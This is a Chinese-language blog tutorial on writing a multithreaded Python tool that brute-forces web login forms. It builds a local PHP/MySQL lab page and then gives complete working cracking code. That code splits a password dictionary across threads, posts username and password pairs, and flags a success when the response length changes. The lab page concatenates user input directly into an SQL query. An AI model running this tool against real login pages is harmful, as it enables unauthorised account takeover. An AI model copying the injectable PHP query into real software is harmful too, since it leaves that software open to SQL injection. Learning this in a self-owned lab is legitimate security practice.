使用python開發一款基於表單的在線密碼破解工具

在線密碼破解

  • 什麼是在線密碼破解
    •   針對在線服務的認證憑證進行合法的用戶枚舉
      
    •   離線密碼破解:拿到密文之後去破解
      
  • Web安全中用來破解的工具Burpsuite
    •   基於表單驗證的破解	
      
    •   基於http認證的破解
      

環境搭建

  • phpstudy啓動對應服務
    在這裏插入圖片描述

  • mysql創建本次實驗所需環境

    • 創建數據庫/數據表/插入數據
  • 編寫登錄頁面

    • html編寫登錄框
    • php連接數據庫並將登錄數據進行查詢
      登錄數據庫創建環境
create database test;
create table testbiao(name varchar(25),password varchar(25));
insert into testbiao values("daming","mingda");

sublime text3 編寫php連接數據庫代碼

<html>
<body>
<form action="index.php" method="post">
用戶名: <input type="text" name="user"/>
密碼: <input type="text" name="password"/>
<input type="submit" name="">
</form>

<?php		#連接mysql數據庫
$con = mysqli_connect("127.0.0.1" ,"root","root","test");
echo "歡迎登錄<br>";	
$zh = $_POST['user'];
$mima = $_POST['password'];

#將登錄名以及登錄密碼拿到數據庫查詢
$sql = "select * from testbiao where name = '$zh' and passwd = '$mima'";
$query = mysqli_query($con,$sql);
while($row = mysqli_fetch_array($query))
{	#提取第一條查詢到的信息,數據一致則登錄成功
echo "<br>login successful <br>"
;}
;#關閉連接
mysqli_free_result($query);
mysqli_close($con);
?>
</body>
</html>

命令行模塊介紹

  • optparse模塊介紹
    • 使用步驟
      • 導入optparse
      • 初始化optparse.OptionParse
      • 初始化對象的 usage屬性
      • 添加參數
      •   parser.add_options(‘-u’,’--userfile’,-dest=”username_file”,-help=’read	username	from	file’,metavar= ‘FILE’,action=’store’,type=’string’)
        
      •   存儲提交的命令行參數(options,args)=parser.parse_args()
          使用parser.parse_args()進行存儲,使用一個元組來進行接收
          測試輸出 print(options.username_file)
        
import optparse
		parser = optparse.OptionParser()
		parser.usage = "command_args.py -u user_file"                                        #dest就是參數存在option中的位置
		parser.add_option("-u","--user_file",help="read username from file",action="store",type="string",metavar="FILE",dest="username_file")
		(option,args) = parser.parse_args()
		print(option.username_file)

輸出幫助信息可以看到metavar起到一個佔位的作用
在這裏插入圖片描述
optparse.add_option更多詳細信息

1.-u,--userfile 表示一個是短選項 一個是長選項  
2.dest='username_file' 將該用戶輸入的參數保存到變量user中,可以通過options.user方式來獲取該值  
3.type=string,表示這個參數值的類型必須是str字符型,如果是其他類型那麼將強制轉換爲str(可能會報錯)  
4.metavar='user',當用戶查看幫助信息,如果metavar沒有設值,那麼顯示的幫助信息的參數後面默認帶上dest所定義的變量名  
5.help='Enter..',顯示的幫助提示信息  
6.default=3306,表示如果參數後面沒有跟值,那麼將默認爲變量default的值  
7.parse.set_defaults(v=1.2)  也可以這樣設置默認值  

Web密碼破解命令行讀取模板編寫

  • 需要讀取用戶名 usernam
  • 需要讀取用戶密碼 password
  • 需要讀取目標鏈接 url
  • 需要讀取線程數 threads
import  optparse
	parser = optparse.OptionParser()
	parser.usage=('web_brute_command.py -s url -p pass_file -t num')
	parser.add_option('-s','--site',dest='website',help="website to test",action="store",type="string",metavar="URL")
	parser.add_option("-u","--userfile",dest="userfile",help="username from file",action="store",type="string",metavar='USERFILE')
	parser.add_option('-p','--passfile',dest="passfile",help="password from file",action="store",type="string",metavar="PASSFILE")
	parser.add_option('-t','--thread',dest="threads",help="number of threads",action="store",type="int",metavar=' THREADS')
	(options,args) = parser.parse_args()
	print(options.website)
	print(options.userfile)
	print(options.passfile)
	print(options.threads)

輸出幫助信息
在這裏插入圖片描述

payload確定

  • 思路
    • 用戶名循環讀取,密碼根據線程數均分,用戶名和密碼組合,使用多線程掃描探測
    •   新建一個密碼列表[[],[],[]]
        第一,讀取所有密碼字典中的內容到要給列表中,確定字典行數
        第二,使用臨時列表獲取到的項數 除以 線程數 來確認每一個線程的項數
      
with open('passwd.txt') as f:
    temp_list = f.readlines()
    temp_thread_list = []	#臨時列表用來追加數據
    num = len(temp_list)
    result = num/ths        #使用臨時列表獲取到的項數 除以 線程數 來確認每一個線程的項數
    result = math.floor(result)	#向下取整獲得爲整數的線程數
    result_num = result
    flag = 0
    for line in temp_list:
        flag += 1
        temp_thread_list.append(line.strip())
        if flag == result_num:
            flag = 0
            pass_list.append(temp_thread_list)
            temp_thread_list = []   #將臨時線程列表初始化等於空
    for line in temp_thread_list:
        pass_list[ths-1].append(line)

密碼字典確認與多線程訪問

  • 根據線程數確認
  • payload -> pass_list加上用戶名組合成一個線程使用的payload
  • Python中的多線程訪問
    • Import threading
    • threading.Thread(target=函數名,args=(參數))
    • 開啓線程,start()
  • 工具中使用線程多列表
ths_list = []   #用來存儲總線程
with open(user_dic,'r') as f:
    user_list = f.readlines()
    for user in user_list:
        for pass_line in pass_list:
            payload = {'user':user.strip(),'pass_list':pass_line}
            ths_list.append(threading.Thread(target=scan,args=(payload,)))
            #payload後跟着,表示傳遞的是一個元組

for th in ths_list:
    th.start()  #啓動線程

掃描模塊編寫

  • 確認登錄失敗的字符長度,相比較字符長度比一致的則爲破解成功
    • 修改默認的User-Agent
    • 僞造錯誤的登錄信息,
  • requets.post()提交參數
    • 參數獲得
      • payload[“user”]
      • payload[“psssword”]
    • 與登錄失敗的字符長度進行對比
    • 輸出登錄成功的鏈接
def test():     #獲得登錄失敗的text長度,後面用於比較
    url = "http://192.168.3.102/index.php"
    header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"}
    r = requests.post(url,data={'user':'asdf','password':'adsf'},headers=header)
    return len(r.text)
error_len = test()

def scan(payload):
    user = payload["user"]
    pass_list = payload["pass_list"]
    for password in pass_list:
        header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"}
        r =  requests.post(url=site,data={"user":user,"password":password},headers=header)
        if len(r.text) != error_len:    #判斷非登錄失敗的值
            print("url:", site + "  " + 'username:' + user + "   " + 'password:' + password + " " + 'length: ' + str(len(r.text)) + "\r\n")
            print()

完整代碼

import optparse
import math
import threading
import requests

parser = optparse.OptionParser()
parser.usage=('web_brute_command.py -s url -p pass_file -t num')
parser.add_option('-s','--site',dest='website',help="website to test",action="store",type="string",metavar="URL")
parser.add_option("-u","--userfile",dest="userfile",help="username from file",action="store",type="string",metavar='USERFILE')
parser.add_option('-p','--passfile',dest="passfile",help="password from file",action="store",type="string",metavar="PASSFILE")
parser.add_option('-t','--thread',dest="threads",help="number of threads",action="store",type="int",metavar=' THREADS')
(options,args) = parser.parse_args()
#使用parser.parse_args()來存儲參數,前面使用一個元組來進行接收

ths = options.threads
user_dic = options.userfile
pass_dic = options.passfile
site = options.website


pass_list = []  # 新建一個密碼列表[[],[],[]]
result_num = 0  #表示線程要讀取內容行數

#第一步,讀取所有密碼字典中的內容到要給列表中,確定字典行數
with open('passwd.txt') as f:
    temp_list = f.readlines()
    temp_thread_list = []
    num = len(temp_list)
    result = num/ths        #使用臨時列表獲取到的項數 除以 線程數 來確認每一個線程的項數
    result = math.floor(result)
    result_num = result
    flag = 0
    for line in temp_list:
        flag += 1
        temp_thread_list.append(line.strip())
        if flag == result_num:
            flag = 0
            pass_list.append(temp_thread_list)
            temp_thread_list = []   #將臨時線程列表初始化等於空
    for line in temp_thread_list:
        pass_list[ths-1].append(line)

def test():     #獲得登錄失敗的text長度,後面用於比較
    url = "http://192.168.3.102/index.php"
    header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"}
    r = requests.post(url,data={'user':'asdf','password':'adsf'},headers=header)
    return len(r.text)
error_len = test()


def scan(payload):
    user = payload["user"]
    pass_list = payload["pass_list"]
    for password in pass_list:
        header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"}
        r =  requests.post(url=site,data={"user":user,"password":password},headers=header)
        if len(r.text) != error_len:    #判斷非登錄失敗的值

            print("url:", site + "  " + 'username:' + user + "   " + 'password:' + password + " " + 'length: ' + str(len(r.text)) + "\r\n")
            print()


ths_list = []   #用來存儲總線程
with open(user_dic,'r') as f:
    user_list = f.readlines()
    for user in user_list:
        for pass_line in pass_list:
            payload = {'user':user.strip(),'pass_list':pass_line}
            ths_list.append(threading.Thread(target=scan,args=(payload,)))
            #payload後跟着,表示傳遞的是一個元組

for th in ths_list:
    th.start()  #啓動線程

運行效果

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章